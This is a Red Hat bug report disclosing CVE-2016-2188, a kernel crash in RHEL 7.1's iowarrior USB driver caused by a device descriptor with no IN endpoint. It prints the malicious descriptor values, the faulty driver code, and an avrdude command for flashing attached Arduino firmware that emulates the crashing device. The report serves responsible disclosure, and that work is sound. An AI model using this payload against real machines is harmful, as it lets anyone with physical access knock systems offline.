Bug 1283390

Summary: CVE-2016-2188 Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid USB device descriptors (iowarrior driver) [local-DoS]
Product: Red Hat Enterprise Linux 7 Reporter: Ralf Spenneberg <ralf>
Component: kernelAssignee: Don Zickus <dzickus>
kernel sub component: USB QA Contact: Mike Gahagan <mgahagan>
Status: CLOSED WONTFIX Docs Contact:
Severity: high    
Priority: unspecified CC: sergej, vdronov
Version: 7.1Keywords: Security, SecurityTracking
Target Milestone: rc   
Target Release: 7.3   
Hardware: Unspecified   
OS: Unspecified   
Fixed In Version: Doc Type: Release Note
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2016-03-18 13:53:35 UTC Type: Bug
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Bug Depends On:    
Bug Blocks: 1317018    
Description Flags
vUSBf Payload
Arduino firmware demonstrating the bug none

Description Ralf Spenneberg 2015-11-18 20:55:24 UTC
Description of problem:
Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid 
USB device descriptors (iowarrior driver) [local-DoS]

Version-Release number of selected component (if applicable):
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 

How reproducible:

OpenSource Security Ralf Spenneberg
Am Bahnhof 3-5
48565 Steinfurt

Date: November 12th, 2015
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: not yet assigned
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C) 
Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid 
USB device descriptors (iowarrior driver) [local-DoS]
Severity: Critical. The Kernel panics. A reboot is required.
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 
(for debugging-purposes we used the CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)

The Kernel 3.10.0-229.20.1.el7.x86_64 crashes when presented a buggy USB 
device which requires the iowarrior driver.
Detailed product description
We confirmed the bug on the following system:
RHEL 7.1
Kernel = 3.10.0-229.20.1.el7.x86_64
Further products or kernel versions have not been tested.
How reproducible: Always
Actual results: Kernel crashes 

The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo 
(github.com/schumilo) using the following device descriptor:

 ######### PAYLOAD 1 #########
[*] Device-Descriptor
  bLength:		0x12
  bDescriptorType:	0x1
  bcdUSB:		0x200
  bDeviceClass:		0x3
  bDeviceSubClass:	0x0
  bDeviceProtocol:	0x0
  bMaxPacketSize:	0x40
  idVendor:		0x7c0
  idProduct:		0x1500
  bcdDevice:		0x100
  iManufacturer:	0x1
  iProduct:		0x2
  iSerialNumbers:	0x3
  bNumConfigurations:	0x1

This is the configuration descriptor containing the malicious value for 
bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the system.

	[*] Configuration-Descriptor
	  bLength:		0x9
	  bDescriptorType:	0x2
	  wTotalLength:		0x27
	  bNumInterfaces:	0x1
	  bConfigurationValue:	0x1
	  iConfiguration:	0x0
	  bmAttributes:		0x0
	  bMaxPower:		0x31
		[*] Interface-Descriptor
		  bLength:		0x9
		  bDescriptorType:	0x4
		  bInterfaceNumber:	0x0
		  bAlternateSetting:	0x0
		  bNumEndpoints:	0x0
		  bInterfaceClass:	0x0
		  bInterfaceSubClass:	0x0
		  bInterfaceProtocol:	0x0
			[*] Endpoint-Descriptor
			  bLength:		0x7
			  bDescriptorType:	0x5
			  bEndpointAddress:	0x81
			  bmAttribut:		0x3
			  wMaxPacketSize:	0x404
			  bInterval:		0xc
			[*] Endpoint-Descriptor
			  bLength:		0x7
			  bDescriptorType:	0x5
			  bEndpointAddress:	0x1
			  bmAttribut:		0x2
			  wMaxPacketSize:	0x4
			  bInterval:		0xc
			[*] Endpoint-Descriptor
			  bLength:		0x7
			  bDescriptorType:	0x5
			  bEndpointAddress:	0x82
			  bmAttribut:		0x1
			  wMaxPacketSize:	0x4
			  bInterval:		0xc

The iowarrior driver assumes that there will be at least one IN-endpoint-descriptor.
If the interface-descriptor contains a zero-value for bNumEndpoints or no IN-endpoint-descriptor is provided, the driver tries to dereference a null-pointer and the kernel crashes:

$ nm iowarrior.ko.debug | grep iowarrior_probe
00000000000012a0 t iowarrior_probe
$ addr2line -e iowarrior.ko.debug 0x13D4

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (includes/uapi/linux/usb/ch9.c)
603	static inline int usb_endpoint_maxp(const struct usb_endpoint_descriptor *epd) /* used by iowarrior_probe */
604	{
605		return __le16_to_cpu(epd->wMaxPacketSize); /* Possible Nullpointer Dereference */
606	}


**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/usb/misc/iowarrior.c)
790	/* set up the endpoint information */
791	for (i = 0; i < iface_desc->desc.bNumEndpoints; ++i) {
792		endpoint = &iface_desc->endpoint[i].desc;
794		if (usb_endpoint_is_int_in(endpoint))
795			dev->int_in_endpoint = endpoint; /* Nullpointer if never set */
796		if (usb_endpoint_is_int_out(endpoint))
797			/* this one will match for the IOWarrior56 only */
798			dev->int_out_endpoint = endpoint;
799	}
800	/* we have to check the report_size often, so remember it in the endianness suitable for our machine */
801	dev->report_size = usb_endpoint_maxp(dev->int_in_endpoint); /* Nullpointer if never set */
802	if ((dev->interface->cur_altsetting->desc.bInterfaceNumber == 0) &&
803	    (dev->product_id == USB_DEVICE_ID_CODEMERCS_IOW56))
804		/* IOWarrior56 has wMaxPacketSize different from report size */
805		dev->report_size = 7;

Proof of Concept:
1) The bug can be reproduced using USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo). 
The attached vUSBf-obj file contains the payload. Please let us know if you would like to use the Facedancer board. 
In such case, we could also provide a patched version of vUSBf which allows to reproduce vUSBf-Payloads using the Facedancer board.
2) For a proof of concept we are providing also an Arduino firmware file. Just flash it 
on Arduino Leonardo and plug it into any RHEL machine. The Arduino will 
emulate the defective USB device.

   avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex

The file binary.hex has been attached to this bug report.
To prevent automated sending of payloads, use a jumper to connect port D3 and 

Severity and Ease of Exploitation
The security weakness can be easily exploited. Using our Arduino firmware only 
physical access to the system is required. 

Additional info:
Stacktrace, vUSBf-Payload, Arduino-Firmware attached.

Please assign a CVE for this issue since this is a local DoS of the targeted system. 
CVSS 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)

Comment 1 Ralf Spenneberg 2015-11-18 21:01:53 UTC
Created attachment 1096320 [details]
vUSBf Payload

Comment 2 Ralf Spenneberg 2015-11-18 21:03:02 UTC
Created attachment 1096322 [details]

Comment 3 Ralf Spenneberg 2015-11-18 21:04:36 UTC
Created attachment 1096325 [details]
Arduino firmware demonstrating the bug

Comment 4 Vladis Dronov 2016-03-11 13:14:24 UTC
CVE-2016-2188 which is Red Hat's private CVE ID was assigned to this security flaw. Please, use it in the public communications regarding this flaw, thank you.

Comment 5 Adam Mariš 2016-03-14 10:23:06 UTC
Public via:


Comment 7 Vladis Dronov 2016-03-18 13:53:35 UTC
Thank you for reporting this flaw. The Product Security has rated this flaw as having low security impact (bz#1317018), so the patch is currently not planned to be added to the RHEL source trees. If accepted to the upstream, the patch may get to the RHEL trees later at the next USB subsystem code rebase.